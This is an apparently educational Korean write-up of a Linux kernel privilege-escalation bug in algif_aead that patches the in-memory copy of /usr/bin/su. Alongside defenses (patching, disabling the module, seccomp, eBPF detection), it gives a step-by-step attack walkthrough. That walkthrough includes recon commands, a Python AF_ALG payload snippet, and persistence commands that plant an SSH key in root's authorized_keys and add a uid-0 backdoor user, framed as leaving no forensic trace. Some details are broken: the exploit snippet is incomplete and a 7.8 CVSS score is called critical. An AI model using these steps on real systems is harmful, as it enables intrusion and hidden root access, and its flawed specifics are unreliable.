
Linux 커널의 Copy Fail 취약점(CVE-2026-31431)에 대한 상세 분석으로, 메모리 손상 메커니즘, 권한 상승 흐름, 보안 영향 등을 포함합니다.
Linux 커널의 Copy Fail 취약점에 대한 교육적 분석.
메모리 손상 메커니즘, 권한 상승 흐름, 컨테이너 탈출, 방어 대책을 다룹니다.
이 저장소는 교육 및 연구 목적으로만 제공됩니다.
소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에서 이 정보를 사용하지 마십시오.
모든 코드 스니펫과 명령어는 Linux 커널 내부 구조에 대한 이해를 돕기 위해서만 제공됩니다.
CVE-2026-31431은 Copy Fail이라고도 알려진 Linux 커널 취약점으로, 권한이 없는 로컬 사용자가 특별한 권한 없이 root로 권한을 상승할 수 있습니다.
이 공격은 전적으로 RAM에서 작동합니다. 디스크 파일은 절대 건드리지 않습니다. 즉, 파일 해시는 그대로 유지되고, 타임스탬프는 변경되지 않으며, 감사 로그에는 아무것도 기록되지 않습니다. 시스템이 재부팅되면 모든 증거가 사라집니다.
일반 사용자 → algif_aead 버그 악용 → 페이지 캐시 덮어쓰기 → root
주요 특징:
/usr/bin/su — 공격 대상 바이너리su(Switch User)는 사용자가 다른 계정 — 일반적으로 root — 으로 전환할 수 있게 해줍니다. 이는 SetUID 바이너리입니다:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID 플래그
s 플래그의 의미: 어떤 사용자가 이 바이너리를 실행하든 root의 권한으로 실행됩니다. 이는 고가치 공격 대상이 됩니다.
내부 로직(단순화):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
공격 목표: password_correct() 검사를 완전히 건너뛰는 것.
Linux가 디스크에서 파일을 읽으면 RAM에 페이지 캐시라는 복사본을 보관합니다.
| 구성 요소 | 설명 |
|---|---|
| 디스크 | 디스크의 원본 파일 (책장) |
| 페이지 캐시 | 파일의 RAM 복사본 (책상 위의 복사본) |
| CPU | 페이지 캐시에서 읽고 실행 — 빠름 |
| 공격자 | RAM 복사본을 수정; 디스크는 그대로 유지 |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← 이것이 페이지 캐시
| 유형 | 보안 |
|---|---|
| 안전 버퍼 — 커널 할당, 크기 및 경계 제어됨 | ✅ OK |
| 페이지 캐시 — 파일 기반 RAM 복사본, 공유, 실행 가능 | ⚠️ 쓰기 시 위험 |
| 잘못된 포인터 — 버그로 인해 아무 곳이나 가리키는 주소 | 🔴 CRITICAL |
AF_ALG(Algorithm Family)은 사용자 공간 프로그램이 커널 암호화 기능(AES, SHA, AEAD)을 사용할 수 있게 해주는 Linux 소켓 인터페이스입니다.
socket(AF_ALG, SOCK_SEQPACKET, 0); // 암호화 소켓 열기
algif_aead는 AF_ALG를 통해 AEAD 암호화(예: AES-GCM)를 처리하는 커널 모듈입니다. 취약점은 데이터 복사 단계에 있습니다.
AF_ALG → algif_aead → AES-GCM 엔진 → 출력 버퍼
↑
버그 위치
이 버그는 암호화 로직에 있지 않습니다. 데이터 복사 중 잘못된 메모리 영역이 선택되는 메모리 처리에 있습니다.
destination = safe_output_buffer; // 올바른 위치
memcpy(destination, user_data, size); // 데이터가 안전하게 기록됨
destination = buffer + WRONG_OFFSET; // BUG: 잘못된 포인터!
memcpy(destination, user_data, size); // 데이터가 페이지 캐시에 기록됨
커널은 안전한 출력 버퍼에 기록해야 했습니다. 잘못 계산된 오프셋으로 인해 /usr/bin/su의 RAM 복사본을 보관하는 페이지 캐시에 기록됩니다.
이 바이너리에는 x86-64 기계어 코드가 포함되어 있습니다. 공격자는 인증 실패를 유발하는 조건부 점프를 대상으로 합니다.
공격 전:
cmp eax, 0 ; 반환 값 확인
jne 0x1234 ; 실패 시 → 거부로 점프
call give_root ; root 부여
공격 후 (RAM에서 2바이트 변경):
cmp eax, 0 ; 동일
90 90 ; NOP NOP ← 점프가 대체됨, 검사 건너뜀!
call give_root ; CPU가 여기로 직접 도달
NOP = No Operation. CPU는 아무것도 하지 않고 다음으로 진행합니다 — 인증 검사를 완전히 건너뜁니다.
"일반 사용자 계정만 있으면 됩니다. 커널이 스스로 실수를 할 것입니다.
디스크는 깨끗하게 유지됩니다. 로그 없음. 매번 작동합니다."
whoami && id
# uid=1000(user) gid=1000(user) ← 일반 사용자
uname -r
# 6.1.0-generic ← 취약 범위 내
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID 확인됨
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su가 이제 페이지 캐시에 로드됨 ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
찾는 것: 인증 함수 주소, jne/jnz 조건부 점프, 정확한 바이트 오프셋.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — 조건부 점프를 대체
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# 커널 내부 (단순화):
destination = buffer + crafted_offset # BUG: 잘못된 포인터
memcpy(destination, payload, 2) # NOP 바이트가 페이지 캐시에 기록됨
# /usr/bin/su의 비밀번호 검사가 이제 RAM에서 NOP NOP가 됨
su
# Password: (아무거나 — 또는 Enter만 누름)
# root@victim:/# ← ROOT 획득
무슨 일이 일어났는가: 시스템이 RAM에서 /usr/bin/su를 실행했습니다. 비밀번호 검사가 NOP였습니다. CPU가 건너뛰었습니다. give_root()가 직접 호출되었습니다.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
공격 후 포렌식 조사관이 발견하는 것:
sha256sum /usr/bin/su # 이전과 동일한 해시 ← 디스크 무접촉
diff /usr/bin/su backup/su # 차이 없음
grep -r 'attack' /var/log/ # 아무것도 없음
auditd 로그 # 파일 쓰기 기록 없음
재부팅 시 RAM이 플러시됩니다 — 모든 증거가 사라집니다.
컨테이너는 사용자 공간을 격리합니다 — 하지만 커널은 공유되며, 페이지 캐시는 커널 메모리입니다.
호스트 커널
├── 컨테이너 1 (격리된 사용자 공간)
│ └── 공격자가 여기 있음
├── 컨테이너 2
└── 호스트 프로세스
페이지 캐시: 모든 컨테이너와 호스트 간 공유!
탈출 경로: 컨테이너 1의 공격자가 호스트의 /usr/bin/su를 읽음 → 버그 트리거 → 호스트 바이너리가 RAM에서 수정됨 → 호스트에서 su 실행 시 호스트 머신에서 root 획득.
영향: Docker, Podman, LXC, Kubernetes(공유 노드) — 호스트 커널이 취약한 경우.
이는 관찰 연습일 뿐입니다. 테스트에는 실습 환경(Docker + 구형 커널 VM)을 사용하십시오.
free -h # 이전 Cache 값 확인
cat /usr/bin/su > /dev/null # 파일을 페이지 캐시에 로드
free -h # Cache가 약간 증가
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# 일반적으로 디스크와 동일 — 성공적인 공격 후에는 다름
# /proc/PID/mem 비교에는 root 권한 필요
우선순위 1 — 커널 업데이트 (최선의 해결책)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
우선순위 2 — algif_aead 비활성화
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
우선순위 3 — 접근 제어
systemd 서비스에서 SystemCallFilter가 포함된 seccomp 프로필을 적용하여 신뢰할 수 없는 프로세스의 AF_ALG 소켓 접근을 제한합니다.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# seccomp 프로필로 실행 (AF_ALG 차단)
docker run --security-opt seccomp=custom-profile.json my-image
restricted 정책CVE-2026-31431은 은밀성(디스크 불변) + 신뢰성(경쟁 조건 없음) + 컨테이너 탈출을 결합하여 해당 클래스 중에서 독특하게 위험합니다.
algif_aead 모듈 비활성화CVE-2026-31431에서 Linux의 암호화 모듈(
algif_aead)에는 공격자가 제어하는 데이터가 안전한 출력 버퍼 대신 페이지 캐시에 기록되게 하는 메모리 복사 버그가 있어, SetUID 바이너리를 RAM에서 조용히 수정하고 — 디스크에 단 하나의 흔적도 남기지 않고 — 모든 로컬 사용자가 root 권한을 얻을 수 있게 합니다.
이 문서는 Linux 커널 보안 내부 구조에 대한 교육적 이해를 위해 작성되었습니다.
— 교육 목적으로만 제공 —
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-31431 |
| 일반 명칭 | Copy Fail / algif_aead 페이지 캐시 손상 |
| CVSS v3.1 점수 | 7.8 — CRITICAL |
| 공격 유형 | 로컬 권한 상승 (LPE) |
| 영향받는 커널 버전 | Linux 5.10 ~ 6.8 (대략) |
| 취약 구성 요소 | crypto/algif_aead.c — AF_ALG 소켓 인터페이스 |
| 악용 신뢰성 | 높음 — 경쟁 조건 불필요 |
| 디스크 증거 | 없음 — RAM 전용 수정 |
| 컨테이너 영향 | 있음 — 공유 페이지 캐시를 통한 호스트 탈출 |
| 패치 상태 | 제공됨 (업스트림 커널 패치 배포됨) |
| CVE | 경쟁 조건? | 디스크 안전? | 신뢰성 |
|---|
| CVE-2016-5195 DirtyCow | 예 — 타이밍 필요 | 아니요 — 디스크 수정됨 | 중간 |
| CVE-2022-0847 DirtyPipe | 최소 | 예 — RAM 전용 | 높음 |
| CVE-2026-31431 Copy Fail | 아니요 — 직접 쓰기 | 예 — RAM 전용 | 매우 높음 |
| 탐지 방법 | 작동 여부 |
|---|
| sha256sum / 파일 해시 | ❌ 디스크가 동일함 |
| 파일 수정 타임스탬프 | ❌ 디스크 무접촉 |
| auditd 파일 쓰기 로그 | ❌ 디스크 쓰기 발생 안 함 |
프로세스 메모리 검사 (/proc) | ✅ 실시간 모니터링 시에만 |
| eBPF 커널 모니터링 | ✅ 시스템 콜 수준 탐지 |
| 메모리 포렌식 (LiME) | ✅ 그러나 복잡함 |
| 방법 | 명령어 / 접근 방식 |
|---|
| 커널 버전 | uname -r → 패치된 버전과 비교 |
| 모듈 로드 여부 | lsmod | grep algif_aead |
| eBPF 모니터링 | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| 프로세스 메모리 | cat /proc/PID/maps — 디스크 해시와 비교 |
| auditd | ausearch -sc socket -sv no |
| Falco | 규칙: 예상치 못한 memfd 또는 페이지 캐시 쓰기 |
| 메모리 포렌식 | 사후 분석을 위한 LiME 덤프 |
| CVE / 이름 | 경쟁 조건? | 디스크 안전? | 컨테이너 탈출? | 신뢰성 |
|---|
| CVE-2016-5195 DirtyCow | 예 — 타이밍 필요 | ❌ 디스크 수정됨 | 부분적 | 중간 |
| CVE-2022-0847 DirtyPipe | 최소 | ✅ RAM 전용 | 예 | 높음 |
| CVE-2026-31431 Copy Fail | 아니요 — 직접 쓰기 | ✅ RAM 전용 | 예 — 공유 캐시 | 매우 높음 |
| 용어 | 의미 |
|---|
| 권한 상승 | 허가 없이 일반 사용자에서 root로 전환 |
| 페이지 캐시 | 커널이 관리하는 RAM에 저장된 파일의 복사본 |
| SetUID 바이너리 | 모든 사용자에 대해 root 권한으로 실행되는 root 소유 파일 |
| 쓰기 프리미티브 | 버그를 통해 얻은 임의 메모리 쓰기 능력 |
| 경쟁 조건 | 정밀한 실행 창이 필요한 타이밍 기반 공격 |
| AF_ALG | Linux 커널 암호화 소켓 인터페이스 (Algorithm Family) |
| algif_aead | AEAD 암호화 커널 모듈 — 취약 구성 요소 |
| memcpy() | 메모리 복사 함수 — 한 주소에서 다른 주소로 데이터 이동 |
| NOP | No Operation — 아무것도 하지 않고 진행하는 CPU 명령어 |
| 컨테이너 탈출 | 컨테이너에서 벗어나 호스트 시스템에 접근 |
| eBPF | 실시간 시스템 콜 탐지를 위한 커널 수준 모니터링 도구 |
| LiME | Linux Memory Extractor — 포렌식 분석용 RAM 덤프 도구 |
| Seccomp | Secure Computing — 시스템 콜을 제한하는 Linux 메커니즘 |
| ELF | Executable and Linkable Format — 표준 Linux 바이너리 형식 |
| CVE | Common Vulnerabilities and Exposures — 취약점 식별자 |
| CVSS | Common Vulnerability Scoring System — 표준화된 심각도 점수 |
| 커널 모듈 | 커널 플러그인 (예: 장치 드라이버, 암호화 핸들러) |
| 오프셋 | 한 메모리 지점에서 다른 지점까지의 바이트 거리 |
| 리버스 엔지니어링 | 소스 코드 없이 컴파일된 바이너리 분석 |
| 단계 | 작업 |
|---|
| 1 | whoami — 일반 사용자임을 확인 |
| 2 | uname -r — 커널이 취약 범위(5.10 – 6.8)인지 확인 |
| 3 | ls -la /usr/bin/su — SetUID 플래그 존재 확인 |
| 4 | 악용 스크립트 실행: AF_ALG → algif_aead → 제작된 페이로드 |
| 5 | 커널 버그 트리거 → /usr/bin/su의 페이지 캐시가 RAM에서 덮어써짐 |
| 6 | su 실행 → ROOT 획득 (비밀번호 불필요) |
| 7 | 지속성: SSH 키 추가 또는 백도어 root 사용자 생성 |